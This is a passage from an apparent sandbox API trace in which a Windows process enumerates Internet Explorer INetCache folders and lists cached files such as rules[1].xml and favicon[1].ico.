(dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9b4a0) returned 1 [0219.147] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\2JAOHWI3", nBufferLength=0x105, lpBuffer=0x1dc9af80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\2JAOHWI3", lpFilePart=0x0) returned 0x4b [0219.147] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\2JAOHWI3\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\2jaohwi3\\*"), lpFindFileData=0x1dc9b1b0 | out: lpFindFileData=0x1dc9b1b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xcdd8c77, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.147] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xcdd8c77, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.147] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdd8c77, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xcdd8c77, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x12c5d5e8, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x12aeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="rules[1].xml", cAlternateFileName="RULES_~1.XML")) returned 1 [0219.147] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.306] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b3d0) returned 1 [0219.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b390) returned 1 [0219.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9b4a0) returned 1 [0219.324] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\2JAOHWI3", nBufferLength=0x105, lpBuffer=0x1dc9af80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\2JAOHWI3", lpFilePart=0x0) returned 0x4b [0219.324] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\2JAOHWI3\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\2jaohwi3\\*"), lpFindFileData=0x1dc9b1b0 | out: lpFindFileData=0x1dc9b1b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xcdd8c77, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xcdd8c77, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.324] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xcdd8c77, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xcdd8c77, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.325] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdd8c77, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xcdd8c77, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x12c5d5e8, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x12aeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="rules[1].xml", cAlternateFileName="RULES_~1.XML")) returned 1 [0219.325] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdd8c77, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xcdd8c77, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x12c5d5e8, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x12aeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="rules[1].xml", cAlternateFileName="RULES_~1.XML")) returned 0 [0219.325] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b3d0) returned 1 [0219.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b390) returned 1 [0219.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9b4a0) returned 1 [0219.325] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\77QWA8YB", nBufferLength=0x105, lpBuffer=0x1dc9af80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\77QWA8YB", lpFilePart=0x0) returned 0x4b [0219.325] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\77QWA8YB\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\77qwa8yb\\*"), lpFindFileData=0x1dc9b1b0 | out: lpFindFileData=0x1dc9b1b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfe4ef45f, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.326] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfe4ef45f, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.326] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe4ef45f, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfe4ef45f, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfe52936e, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x16196, dwReserved0=0x0, dwReserved1=0x0, cFileName="known_providers_download_v1[1].xml", cAlternateFileName="KNOWN_~1.XML")) returned 1 [0219.326] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.326] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b3d0) returned 1 [0219.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b390) returned 1 [0219.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9b4a0) returned 1 [0219.326] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\77QWA8YB", nBufferLength=0x105, lpBuffer=0x1dc9af80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\77QWA8YB", lpFilePart=0x0) returned 0x4b [0219.326] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\77QWA8YB\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\77qwa8yb\\*"), lpFindFileData=0x1dc9b1b0 | out: lpFindFileData=0x1dc9b1b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfe4ef45f, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfe4ef45f, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.327] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfe4ef45f, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfe4ef45f, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.327] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe4ef45f, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfe4ef45f, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfe52936e, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x16196, dwReserved0=0x0, dwReserved1=0x0, cFileName="known_providers_download_v1[1].xml", cAlternateFileName="KNOWN_~1.XML")) returned 1 [0219.327] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe4ef45f, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfe4ef45f, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfe52936e, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x16196, dwReserved0=0x0, dwReserved1=0x0, cFileName="known_providers_download_v1[1].xml", cAlternateFileName="KNOWN_~1.XML")) returned 0 [0219.327] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b3d0) returned 1 [0219.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b390) returned 1 [0219.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9b4a0) returned 1 [0219.327] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\AV0JF3E9", nBufferLength=0x105, lpBuffer=0x1dc9af80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\AV0JF3E9", lpFilePart=0x0) returned 0x4b [0219.328] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\AV0JF3E9\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\av0jf3e9\\*"), lpFindFileData=0x1dc9b1b0 | out: lpFindFileData=0x1dc9b1b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfe8611b0, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.328] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfe8611b0, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.328] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe8611b0, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xfe8611b0, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0x1cd343b, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4700, dwReserved0=0x0, dwReserved1=0x0, cFileName="suggestions[1].en-US", cAlternateFileName="SUGGES~1.EN-")) returned 1 [0219.328] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.328] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b3d0) returned 1 [0219.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b390) returned 1 [0219.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9b4a0) returned 1 [0219.329] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\AV0JF3E9", nBufferLength=0x105, lpBuffer=0x1dc9af80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\AV0JF3E9", lpFilePart=0x0) returned 0x4b [0219.329] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\AV0JF3E9\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\av0jf3e9\\*"), lpFindFileData=0x1dc9b1b0 | out: lpFindFileData=0x1dc9b1b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfe8611b0, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfe8611b0, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.329] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfe8611b0, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfe8611b0, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.329] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe8611b0, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xfe8611b0, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0x1cd343b, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4700, dwReserved0=0x0, dwReserved1=0x0, cFileName="suggestions[1].en-US", cAlternateFileName="SUGGES~1.EN-")) returned 1 [0219.329] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe8611b0, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xfe8611b0, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0x1cd343b, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4700, dwReserved0=0x0, dwReserved1=0x0, cFileName="suggestions[1].en-US", cAlternateFileName="SUGGES~1.EN-")) returned 0 [0219.329] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b3d0) returned 1 [0219.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b390) returned 1 [0219.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9b4a0) returned 1 [0219.330] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\RTY72OX4", nBufferLength=0x105, lpBuffer=0x1dc9af80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\RTY72OX4", lpFilePart=0x0) returned 0x4b [0219.330] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\RTY72OX4\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\rty72ox4\\*"), lpFindFileData=0x1dc9b1b0 | out: lpFindFileData=0x1dc9b1b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.330] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.330] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfde117df, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicon[1].ico", cAlternateFileName="FAVICO~1.ICO")) returned 1 [0219.330] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.331] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b3d0) returned 1 [0219.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b390) returned 1 [0219.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9b4a0) returned 1 [0219.331] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\RTY72OX4", nBufferLength=0x105, lpBuffer=0x1dc9af80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\RTY72OX4", lpFilePart=0x0) returned 0x4b [0219.331] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\RTY72OX4\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\rty72ox4\\*"), lpFindFileData=0x1dc9b1b0 | out: lpFindFileData=0x1dc9b1b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.331] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.331] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfde117df, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicon[1].ico", cAlternateFileName="FAVICO~1.ICO")) returned 1 [0219.332] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b170 | out: lpFindFileData=0x1dc9b170*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfde117df, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicon[1].ico", cAlternateFileName="FAVICO~1.ICO")) returned 0 [0219.332] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b3d0) returned 1 [0219.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9b390) returned 1 [0219.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.332] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: 